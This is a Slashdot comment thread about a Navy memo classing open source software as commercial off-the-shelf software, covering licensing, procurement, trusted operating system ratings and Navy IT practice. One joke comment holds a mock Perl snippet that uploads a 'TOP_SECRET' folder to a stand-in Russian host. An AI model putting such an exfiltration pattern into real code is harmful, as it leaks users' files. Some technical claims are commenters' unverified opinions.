Navy Now Mandated To Consider FOSS As an Option

lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"

Comments

Cool!!

[phrostie]

but i'm sure that one of M$'s lobby groups will pay to try and have that changed shortly.

Re:Cool!!

[Registered Coward v2]

Actually, all it says is that OSS can be considered COTS; so a DON entity can now classify OSS as COTS for procurement purposes. Nothing in it says they must consider OSS during procurement; and the requirement to talk to the lawyers when considering it will probably result in it being ignored anyway.

Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source? On theory the DON, as longs the program stays within the US Government, would be under no obligation to release any modifications since they have not distributed it; all they have done is install and run it on machines owned by them.

Re:Cool!!

[init100]

Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source?

No, this would not require a broader source release. Contrary to common belief, the GPL does not require that source must be published to the world when software covered by the GPL is distributed, only that the source is distributed along with the binary under the GPL. The recipient is free to publish though, so there is usually not much to gain by only distributing to your customers.

Re:Cool!!

[mrsteveman1]

As before, the scope of who gets the source exactly matches the scope of who uses the program. Redistribution from there is another problem. If they use GPL code, modifications would remain GPL. But if someone leaks the code, is it then legal to distribute? Or would that be a massive breach of some other classified status not specified by the GPL?

I would hope that a situation could be worked out so that the code can be protected as classified in certain cases, and I would say there is a partial conflict at the moment. Regardless of my support of the GPL, this is a situation where I would say protecting government systems is more important.

Inconceivable!

[theTrueMikeBrown]

The government saving money?

I am speechless.

Re:Inconceivable!

[fitten]

This has pretty much nothing to do with saving money except to only the most casual of (misinformed) glances. I'm sure it was used as a bullet point (although false) in trying to sell it to Congress.

The Navy is NOT going to just download crap, have a monkey install it, and hope for the best. At the minimum, they will need to buy support contracts. Additionally, they will most likely hire some support staff of their own. There will likely be little cost savings in actual dollar amounts.

The OTHER advantages of FOSS are what it's all about (open formats, source code overview if desired, source code escrow, etc.)

Re:Inconceivable!

[Simon80]

You may not be able to imagine it, but the US Navy has realized it!

Re:Inconceivable!

[MillionthMonkey]

They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

if ($hostname =~ m/.*\.mil/) {
    multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
    explode() || die("The requested operation cannot be performed");
}

Re:Inconceivable!

[ozmanjusri]

With a commercial app they go to the vendor, with FOSS they go to whom?

Sun, IBM, Novell, Oracle, Red Hat, UTS, SCO, HP, etc, etc, etc...

Sing with me

[niceone]

In the navy
Yes, you can sail the gcc's
In the navy
Yes, you can open source with ease
In the navy
Come on now, people, make && make install
In the navy, in the navy
... hmm I've kind of painted myself into a corner there...

Re:Sing with me

[drinkypoo]

... hmm I've kind of painted myself into a corner there...

I was going to say that you've painted yourself mauve, or possibly chartreuse.

Strategy for getting M$ price concessions

[Silver Sloth]

If you're a large enough organisation there's no better way of getting your M$ licensing costs down than 'investigating FOSS solutions'. Mind you, with the US navy's long history of cost effective purchasing maybe this isn't a factor here!

Finally!

[eln]

Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.

Re:Finally!

[Anonymous Coward]

I tried but you claim not to support my hardware because the manufacturer won't release specs. Can you recommend a good nuclear first-strike-capable ballistic missile launch platform with free drivers?

Go Go, GI Joe

[Fx.Dr]

Anyone else here find this article lacking? I'm as thrilled as the next guy that alternatives are being sought out by, well, any Gov't agency. But now what I'd like to see is an article detailing the cost associated with the transition from COTS to FOSS and its associated learning curve.

Great! This is what you have to do

[i_want_you_to_throw_]

When I worked for the Army I had to unilaterally implement FOSS solutions because the people who controlled the purse strings knew nothing about technology. They were dazzled by Oracle, M$ and every other vendor. One young green suiter from the front office put it to me this way: "Just say that this great open source solution will cost you X million dollars and take two years to implement. That's the only thing we understand".

Re:Great! This is what you have to do

[jd]

There are only a handful of OS' that are considered "trusted". HP-UX BLS, Trusted Unicos 8.0, SEVMS, CS/SX, Trusted IRIX, Trusted Solaris, VSLAN, Trusted XENIX, XTS-300, XTS-400, PR/SM, SACDIN, THETA and Genesis. I see a distinct lack of OS/X, Microsoft isn't even remotely close, Linux has 30% of the RBAC requirements to be really secure in a modern environment - which is better than many, and OpenBSD is only considered watertight from external attacks - it has minimal security between users.

When you consider that you can build role-based access controls that can migrate with applications across clusters, when network connection types, network bandwidth, shared memory and inter-process communication have mandatory access controls, you really begin to see just how pathetically limited generally-available OS' really are. There's no reason for it - there's nothing that prevents a widely-available system from being harder than a diamond-encrusted pulsar.

The reason that nobody bothers much with making OS' secure is that the DoD has long-proved (by buying Windows and by failing their security audits) that security doesn't matter enough to be worth the effort. Security to this level costs big money, and only the really big corporations can afford the costs or have the market to pay for it. Companies can lose hundreds of thousands of credit cards and maybe get rapped knuckles - if they're even discovered. Only one State requires reporting - but plenty of other places have e-Commerce. System crackers - black hats especially - are a pervasive part of society with no serious effort to secure networks against them.

If the money did exist, if there was serious interest in serious prevention, host intrusion detection wouldn't be MD5 checksums (which were beaten soundly, according to the Internet Auditing Project). Plain-text passwords wouldn't exist. One-time pads and public-key encryption would be the only way to log onto Slashdot or any other web service. Zombies, Trojans and Viruses would be found in technology museums, under "extinct electronic lifeforms". If a disk drive with tens of millions of credit cards or social security numbers went missing, in a secure world that would be cause for a few minutes downtime to replace what was lost, rather than a few weeks or months of running round in circles doing nothing.

You see any of that happening? No? Then security is still regarded as an optional extra, not as a fundamental design requirement, and will never reach its true potential. Furthermore, agencies will continue buying/copying OS' based on ease of initial deployment and not on whether it'll protect the data sufficiently.

Re:Great! This is what you have to do

[jd]

It was rated C2, which means that it's got the real basic protections but that's about it. C-class operating systems were the lowest that could be used in any Government role, so when the early Windows 2000 failed one of the tests, it was technically unlawful to use Windows 2000 for any Government work, even when totally standalone. (The Orange Book only measured internal security, not network security, so failing on the Orange Book tests was a big deal.)

Although NT4 was certainly used for secret material, I am pretty sure that only B-rated operating systems were entitled to hold secret and some top secret information. A-rated systems could be used for anything. Only one truly general-purpose A-rated OS (Genesis) was ever developed and officially rated - many other A-rated OS' existed, but they were all special-purpose. C-rated systems were only supposed to be used for unclassified and commercially sensitive material, if I remember the system correctly.

Trusted Solaris was rated B1, which meant it was as good as you could get without some very stringent formal proofs of correctness and formal design methodologies. The big difference between B1 and A1 is that a B1 system is bulletproof only according to any tests and evaluations performed on it, but the tests aren't guaranteed comprehensive. With an A1 system, you also know that the implementation exactly matches the design and that there is no obvious flaw in the design.

However, the criteria have shifted over time. Under the Common Criteria, Trusted Solaris and Solaris 9 "only" rate EAL-4+ (out of a maximum of 7), with PR/SM and XTS-400 being the only ones to rate 5. Bear in mind that RHEL4 update 1 is also classed as 4+, as are Windows Server 2003 and Windows XP. The difference in security between Windows 2003 and Trusted Solaris is so vast as to be laughable, and the idea that a highly specialized, highly secure system like XTS-400 is less than a single unit of trustworthiness better than XP is a complete joke. Clearly the method used in the Common Criteria is flawed to the point of not being useful as a measure of trust.

Mind you, the Orange Book was not perfect. Trusted Irix was rated B3, MULTIX was rated B2. The Multicians (a group of surviving kernel developers for MULTICS) let me know that there was no API, but you can't test if the API works if there is no API to test against. This makes testing for code safety difficult at best - you've nothing to tell you what's meant by safe. I'm prepared to believe MULTIX was brilliant, in fact I do believe that, but I have a hard time believing that the level of trust you could place in it was somewhere between that of Trusted Irix and Trusted Solaris. That may well be the case, but it feels more likely somehow that the evaluation criteria are too narrow and too minimalistic.

(I'd develop my own criteria, but having friends and karma on Slashdot doesn't equate to being taken more seriously by industrial leaders on security issues than defense industry specialists. In fact, even being on Slashdot is probably a big minus in the eyes of places like BAE or Sun Microsystems. Which, of course, is stupid - everyone here knows Slashdot readers are the creme a-la creme of the industry.)

Re:Great! This is what you have to do

[jd]

Ok, here's a rundown on what I'd consider to be the criteria for measuring the trust of an OS:

• Privileges should be defined on a gross level using role-based access controls and then on a fine level using hierarchical access controls:
  • Privileges should be universal. In other words, they should not just apply to applications or system calls, but also to address ranges, network ports, network types of service, disk directories, memory regions, shared memory regions, login and authentication methods, swap space quota and rights, run queues available - everything.
  • Privileges can never increase, but they can decrease. If a thread loses the right to run, any time to run in, or any ability to do anything if running, then it can be used for denial of service but nothing else and should therefore be eliminated.
• The OS should not allow a user to escalate their privileges, even if a flaw is found within an application or Operating System:
  • Programs either run or accessed by a "local" user (or remotely by an identified "local" user) should never have greater rights than that subset of rights that exists for both program and user.
  • Programs either run or accessed by any other remote user should always be run with minimal rights.
  • The same is true for all other communication between any combination of users, processes, activities and resources.
• The OS should not allow a user to escalate anyone else's privileges either (a major requirement of systems on classified networks):
  • If any resource of any kind is placed somewhere another user can access it, that resource must have privileges that are no greater than the subset of it's own privileges, that of the source user/process and that of the destination user/process.
  • The source and destination must be of a compatible nature - some roles cannot transfer resources to other roles, transfers that would result in the elimination of a mandated right would not be permitted, etc.
  • Where the transfer is of a pipe or other communications mechanism, nothing coming through the pipe can have greater rights than the pipe itself.
• There should be no bypass mechanism:
  • This means no superuser, no special kernel components and no supervisory element. Everything that runs, including all kernel threads, should run with relative not absolute rights. When bugs are found - and they will be - the damage should be restricted to within a smaller scope than could have been inflicted without the bug.
• The overall design of the software should be structurally correct.
  • In other words, if you draw out how the data flows, there should be no arc that would invalidate the security model by running out of rights or by having too many.
• Those components for which a mathematical model can both exist and be verified should have such a model that has been verified.
  • Formal Methods are extremely hard to use well for giant projects, but there are many subsets for which they are ideal. An example of a formal method would be the Z Specification language, which is now an ISO standard. Tedious in the extreme for anything that's long and complex, it would be very usable for privilege management, key functions such as kmalloc/kfree, and other fundamental components on which the OS depends.
• All components and combinations of components should be fully specified in some form and tested to that specification.
  • A specification needn't be formal in the mathematical sense, but it should be possible to derive valid cases, extreme (ie: corner) cases, and invalid cases. Both component-level and integrated test harnesses should then validate that all identified cases produce the expected results. Integrated testing should include both shotgun and continuous tests.
  • Distributed and massively parallel algorithms can be extremely difficult to prove, but it is essential for any level of confidence that they be pr

Re:Is the tide turning?

[zappepcs]

Ahem... excuse me, but I disagree with you. I've been in the Navy, yes the same one, and Training is a regular process, not something that happens only when new systems are installed. Training is part of the job. The cost of adoption will be less of a problem than you think it might be. Porting applications to *nix from Windows will be the big cost as a portion of it is purchased from military contractors. Unless those apps are ready to run on Linux, it will cost. Training a sailor on a new system is a regular part of the job, no big sweat.

In short, I think you are wrong.

Net result: very little.

[Frosty Piss]

In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions...

Judging based on my knowledge of DoD networks and computer applications, I don't believe this will have much of an effect on IT decisions in the Navy. (at the Air Force base I work at, we have some BSD, but it's running on specialized devices on a very small scale). It reminds me of how my father did equipment purchasing at the university he worked at (and I'll bet most Navy IT sections will do the same): The university had a set of requirements for big computer purchases that favored specific venders and things like low bit. By dad simply wrote the specs for what he wanted so strictly that only one product would satisfy the requirements.

Also, keep in mind that great scads of DoD IT is standardized on Microsoft networks and applications that would be difficult to integrate with OSS for a variety of reasons. And, there will always be FUD based "security" reasons that military networks will want to avoid OSS.

Net result: very little.

Yeah, and the USAF uses ADA

[Liquidrage]

When I was writing software for the USAF we were required to use ADA. I worked at the USAF's largest software factory. No one there used ADA for anything.

So to me the announcement means nothing. Military doesn't always eat it's own dog food.

Actions, Not Words!

[Nom du Keyboard]

now mandated to consider open source solutions

Talk about an arrangement of words that don't mean cr@p in the real world.

Navy: Yeah we thought about it. Considered it even. Then went back to what we've been doing all along. Only terrorists use FOSS. Microsoft told us so.

No surprise

[GovCheese]

No surprise here. The Navy has a history of being very ahead of the curve with their IT compared to many government counterparts, including cabinet level agencies. When other agencies were begging for connectivity with handhelds, the Navy had already had long rolled them out aboard their ships for connectity with the server operations of different onboard departments. Navy IT has been forward thinking for quite some time now. They'll consider FOSS very seriously and hopefully it'll have a ripple effect in other USG areas.

Re:Finally! An F-22 Problem?

[Nom du Keyboard]

Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM.

What happens when it crosses the International Dateline?

Consider eh?

[Zironic]

If I understand this correctly.

Before the navy had no idea under what label they were supposed to put open source software so they didn't consider it (out of lazyness?). Now open source is defined as a commercial item so the navy can purchase it the same way they do with other software.

However this doesn't seem to in any way prevent the large companies from doing what they always do. Just bribe the officials responsible for deciding what software/hardware to use and get them to make the navy pay for their expensive useless stuff.

I doubt we'll see any great rise in the amount of open source software used in the navy just yet. It's a fairly big step in the right direction though. I would seriously not have thought that one of the big difficulties of using open source was defining it for your paper work o.O

More paperwork?

[pcraven]

While I heartily support and use FOSS, I wonder if this adds yet more red tape?

A long while back I worked for USGS. We were hampered with hiring people, getting new software, hardware, etc because of all the paperwork. If we made a decision we had to consider 50 different laws and regulations. Individually, they were great ideas. Put together they were paralyzing. This is the reason we were stuck with Data General for so long, because no one wanted to do the paperwork to change vendors.

Why the Navy wants FOSS

[greginnj]

I'm amazed at the number of people asking for cost comparisons and going on about how there are also training costs, blah blah blah. RTFA and we see:

misconceptions about whether or not open source software qualifies as COTS (commercial off-the-shelf) or GOTS (government off-the-shelf) software has hindered the Navy's ability to fully utilize open source software.

Which, if you use your critical reading skills, would tell you that the Navy is already trying to use FOSS, but is having trouble doing so. We all know about military spending -- they don't give a rat's ass about saving 10% off the fully loaded cost. What we're talking about is Naval Engineering:

The term Seabee Ingenuity grew from deeds recorded during the Solomon campaign. A Seabee Warrant Officer repurchased equipment from customers to set up shop. Bulldozer head gaskets were fashioned from scraps of metal and paper. Waxed paper and tinfoil from cigarette packages served as condensers while 55-gallon drums replaced worn-out radiators. Tires were filled with sawdust and concrete. One Seabee turned his dozer into a piece of combat equipment and wiped out a gun emplacement in the Treasury Islands. The work accomplished by these new Construction Battalions seemed almost impossible and yet the CAN DO standards set the precedence for the battalions that followed.

Now, imagine a similar situation involving software. Your control system is acting up while you're on patrol in the South China Sea -- do you send an email to Redmond and wait for the response, or do you open the hood and fix it yourself? As the pdf memorandum said:

As with any COTS solution, the use of OSS must adhere to all Federal, DoD, and DON policies and be based on open standards to support the DoD's goals of net-centricity and interoperability.

Go Navy!

Re:Why the Navy wants FOSS

[AHumbleOpinion]

"The term Seabee Ingenuity grew from deeds recorded during the Solomon campaign. A Seabee Warrant Officer repurchased equipment from customers to set up shop. Bulldozer head gaskets were fashioned from scraps of metal and paper. Waxed paper and tinfoil from cigarette packages served as condensers while 55-gallon drums replaced worn-out radiators. Tires were filled with sawdust and concrete. One Seabee turned his dozer into a piece of combat equipment and wiped out a gun emplacement in the Treasury Islands. The work accomplished by these new Construction Battalions seemed almost impossible and yet the CAN DO standards set the precedence for the battalions that followed."

Now, imagine a similar situation involving software ...

I can't. Are you familiar with the WW2 era Seabees. They weren't necessarily your teenage volunteers/draftees. Many were "old men" in their 30s and 40s who the Navy would have turned away due to their "advanced age", however these "old men" had many years of experience in construction, engineering and related disciplines so the Navy made an exception for the Seabees. So most of the people hacking away on FOSS would not be a similar fit experience wise, quality product wise, etc.

Re:Why the Navy wants FOSS

[samkass]

Not everywhere. The Army currently has a bit of a split personality here. The "Future Combat Systems" projects are all being developed on linux, and all FCS software is written in C, C++, or Java (no .NET). At the same time, all of the current Army Battle Command Systems are being actively ported to Windows and away from unices, favoring .NET solutions, and requiring Vista compatibility for all the next versions of the software. Doesn't matter to my product, as we use Java and can run on all of it.

Re:Is the tide turning?

[russ1337]

they will have to endure the cost of installation, training, etc. No way can they do that efficiently!

Having been on the receiving end of a few military software acquisition projects in a past life, I can say that OSS reduces the possibility of being held by the balls by the vendors for ongoing support. Talk about tapping into a major artery when you sell Defense software and they want changes.

Also, commercial licensing usually doesn't fit the military all that well. You may want some software for a certain project and that is fine. Once it has proven itself you usually find other area's / forces (or even friendly nations) wanting it, yet the cost/product/licensing/configuration s have changed and you're not free to share. With OSS you may be free to simply roll it out across the service / other nations.

There are many inter-service & inter-country programs that actually work very well with sharing tools and software, and often the proprietary models are just not accommodating. I don't mind fulfilling and complying with commercial licenses (of course), but often, we need the flexibility to change the actual hardware and don't have the time to 're-activate' the product via some crazy product key tied to the hardware (one example of a product with a ridiculous 'DRM' scheme, tied to hardware, no backups) Also, some licenses have actually prohibited us from making a Ghosted backup - if all turns to hell, then we actually need the ability to trace our footsteps by seeing if we can re-create the behavior that caused the proprietary software to go T.I.

At least forcing some in acquisitions to at least acknowledge OSS is a start. A good start.

Nice chorus, but the orignial is well suited.

[twitter]

Finish your chorus with this and then fall back to the original lyrics:

They want GNU
They want GNU
They want you as a GNU recruit

The original Lyrics:

Where can you find pleasure
Search the world for treasure
Learn science, technology
Where can you begin
To make your dreams all come true
On the land or on the sea
Where can you learn to fly
Play in sports or skindive
Study oceanography
Sign up for the big band
Or sit in the grand stand
When your team and others meet

If you like adventure
Don't you wait to enter
The recruiting office fast
Don't you hesitate,
There is no need to wait
They're signing up new seamen fast
Maybe you are too young to join up today
But don't you worry 'bout the thing
For I'm sure there will be
Always the good Navy
Protecting the land and sea

I'll stay away from the "signing up new seamen fast" part, but the learning and adventure part is probably more true in the free software world than it is on a boat and anything beats Bill Gates slave galleys. Pressing on with a few special mods for you WinDOS fanboys afraid of the plunge:

But, but, but
I'm afraid of Penguins
Hey, hey, look men
I get seasick
Even watching it on techTV
They Want GNU
Oh my goodness
They Want GNU
What am I gonna do in a GNU machine
They Want GNU
They Want GNU
In the Navy

In the Navy
Yes, you can apt-get with ease
In the Navy
Yes, that will put your mind at ease
In the Navy
There will be no blue screen disease
In the Navy
Can't you see we need a hand
In the Navy
Come on and share the source code
In the Navy
Come on and help your fellow man
In the Navy
Come on people and make a stand
In the Navy

N M C I (No More Computing Inhouse)

[Anonymous Coward]

I work in a Navy research IT environment and have used OSS for years in variety of environments.

In the last few years the Navy has straddled us with the hideous NMCI IT contract that dictates operating systems, software applications, and hardware. When NMCI was conceived, in the womb of ignorance and shortsightedness, they were thinking of providing a common monocultural solution that might work if the only thing the Navy did was to send email and make PowerPoint presentations.

In a research environment you need flexibility in order to match solutions to problems. NMCI forbids the installation "unapproved" software or hardware. This includes software drivers and communication applications for special purpose hardware such as serial/USB/PCI devices. You cannot connect any web enabled devices like cameras, 1-wire control, power control devices, UPS devices, weather stations, data acquisitions, etc.

So what happens at the Navy Labs is there are two networks - the NMCI network and the "Legacy Network" where the work gets down.

In the spirit of reducing cost we have have to maintain two networks and two computers on each desktop and have two exposed flanks to the outside world! It is wasteful, dangerous and inefficient.

Oh did I mention NMCI is inefficient and near useless. I have a NMCI laptop. I would rather have a 286 with two floppy drives and a sharp stick. The other day I needed to access a jpeg image that was on the NMCI network and edit it with Coral Draw (the application they felt I should be using instead of the more useful, efficient and cheaper PSP). I timed the process from pushing the "On" button and loading the remote desktop, mapping the network file system, logging on, clicking thru all the various dialog windows, loading the bloated application and load the file - it took over 27 minutes.

Re:Is the tide turning?

[jimicus]

I dont think the navy will settle for:
"Man, this thing doesnt work"
"Uhhh, post a question on the fourm, and hope you hear back"


That is exactly why companies like IBM and RedHat exist.

Yeah but...

[TrappedByMyself]

If you thought it was hard finding ATI drivers, try finding nuclear sub drivers!

It's all about the benjamins

[ACMENEWSLLC]

*Considering* open source software often generates substation savings from Microsoft. How many articles on /. have we seen where some government or huge company says they are switching away from Microsoft, only to have Microsoft come back with huge savings?

It's a great negotiating advantage to be "forced" to consider open source.

FOSS in the Navy

[BigPenguin]

As a Navy IT whose responsibilities include administrating one of the largest afloat networks in the world I can tell you two things: Linux and FOSS are already present onboard, but only in a quasi embedded role because the contractors who supplied the system (ala SPAWAR or similar) based the platform on Linux. These systems typically do not exist as a network asset. That is they are a ship's system and not a part of the "network" as user services are concerned. And two: It is a Microsoft shop from top to bottom and will have to remain that way. The Navy simply does not train it's personal to administer a Linux or Unix based network. Finding a few IT's with the requisite Windows admin knowledge is hard enough, but making the fleet utilize Linux? The IT workforce simply does not have the experience or training to make that jump at this time. I don't think it ever will. This is why advancement for the IT rating is so high. IT's with skill sets in Network Administration get out and join the civilian ranks after their first or second enlistment and open the ranks up for new IT's to advance.

Believe me I HATE the Windows 2003 enviorment I am forced to administer. And the SPAWAR forced enviorment on top of that which increases the issues. I'd thank God for reliable servers and workstations, but I don't for see this ever occuring. Alas I have to do my time and move to a sector that does. Nothing to see here. *shews away readers in MiB suit*

Re:FOSS in the Navy

[ChronoFish]

For the several years that I was a Defense Contractor (mid 90's), our shop and the NOCs that we supported were almost 100% Sun Solaris. We did not support the Navy (that I know of) but we did support the Air Force and a few Spook clients.

Later (late 90's) I worked for a company that specializes in Air Traffic Control Systems. Development environment was Linux and production environment was AIX.

Government agencies have accepted *nix flavors for a long time. "Never going to happen" is an incredibly strong term, and the fact that you've already got Linux boxes poking their head in leads me to believe that "Never say Never" is an appropriate response.

-CF

Re:Imagine Chinese say: GPL shows us your code NAV

[WhatAmIDoingHere]

"Stupid, stupid !!"

Were you summarizing your comment?

COTS =

[Shipwack]

COTS stands for "Commercial, Off The Shelf"... Items that can be found in the civilian world. For example, instead of spending millions of dollars developing a navigation radar, they might just buy a commercial model from Furuno. This is the first step of undoing the stupidity that ensued when they mandated that all official documents be written in the proprietary format of Microsoft Word, a couple of decades ago.

Same thing in Canada

[PhysicsPhil]

I just attended a (non-classified) talk from a department of the Canadian government about the role of FOSS in our military. A few interesting points:

* On average, commercial, off the shelf software (COTS) tended to be slightly cheaper for life cycles in the mid-term range, which seemed to be 5-12 years or so. Shorter than that FOSS was best because of the low up-front costs, while on the longer term the lack of vendor support for COTS was a concern. The number that was thrown out was COTS being about 15% cheaper for the mid-term, although there were cases where FOSS was still better.

* To avoid finger pointing between the OS and application manufacturers during bug hunts, it was desirable for a single company/consultant group to take responsibility for all software. They weren't inclined to wait in a war zone while tech guys played telephone tag while repairing a bug. The ideal would be to purchase hardware from a given supplier, and having one contact point for all software.

* Long-term software support was a concern for both COTS and FOSS, but the ability to either maintain the software yourself (least desirable) or form a consortium with other like-minded entities was an advantage for FOSS.

* Licensing was identified as a major hassle. The speaker identified that computer types are very highly trained from a technical perspective, but not trained from a legal standpoint, so navigating through licensing conditions was a problem. They were hoping our Treasury Board could handle government-wide licensing issues.

* There was definite interest in shifting the computer systems on-board our latest warships from HP-UNIX to Linux-based systems to avoid the vendor end-of-lifing the systems.

The talk continued on to discuss issues related to hardening systems from attacks, but I didn't stay for the whole thing. Just before I left, the speaker was bemoaning that while FOSS gave great tools for the good guys, they also empowered the foreign script-kiddies as well, so it was a two-edged sword.

Parts of the Navy are way ahead of him already

[finlandia1869]

I'm not surprised by this at all. There's actually an effort within the Navy now to build a massive shared, OSS repository of combat system software components and code for combat systems stuff. Everyone gets to examine code, fiddle with it, pick at it, adapt it, go play. And you're required to submit whatever you come up with to the same scrutiny. It's part of a larger effort to get away from lock-in with Raytheon, LockMart, etc. and get more competition and more small players. The surface warfare centers have experimented with creating their own quasi-incubators for small business industry to get a foot in the door. I've heard of a few neat products so far.

My only fear is that all of our efforts will go for nothing when some doofus admiral says, "Vendor X says he can do it cheaper. Drop everything and go prove that you really know what you're doing." Yup. All of my team's work grinds to a halt for 3 months while we pursue a damn wild goose chase to justify that we're more trustworthy than a retired O-6 who's now a salesman.

Wish us luck. We'll bloody well need it.

Re:First OPSEC gets the axe...

[JustNiz]

Well the point is that you don't need the source code to be able to find exploits. See the fiasco that is Windows.

Also having source-code to secure systems in the public domain doesn't hurt. In fact it actively can be of benfit as the more people look at it, the more loopholes get found and fixed. PGP source code has been freely available for decades but the algorithm that the code implements is still widely understood to be one of the most secure encryption methods out there.

NSA trusted computing

[DragonHawk]

so when the early Windows 2000 failed one of the tests, it was technically unlawful to use Windows 2000 for any Government work

What law require(s|ed) evaluation according to the NSA "rainbow books" before a system can be used for government work? Where I work, even systems which process Classified information are not required to have trusted system software. You have to protect the system, but that's most often accomplished by far less sophisticated means. It is what is called "system high" or "dedicated" operation -- you treat everything as classified, lock everything up, and only let cleared people near it. The OS is not part of the safeguarding. Hell, eight years ago, there were plenty of Windows 95 and Windows 98 systems processing Classified information.

The more sophisticated measures -- an OS supporting multi-level security -- is only required if you want to let people who are not cleared to the information access some other part of the system. In other words, if you want to have Joe Blow without a clearance store his order for janitorial supplies on the same system that has SECRET data.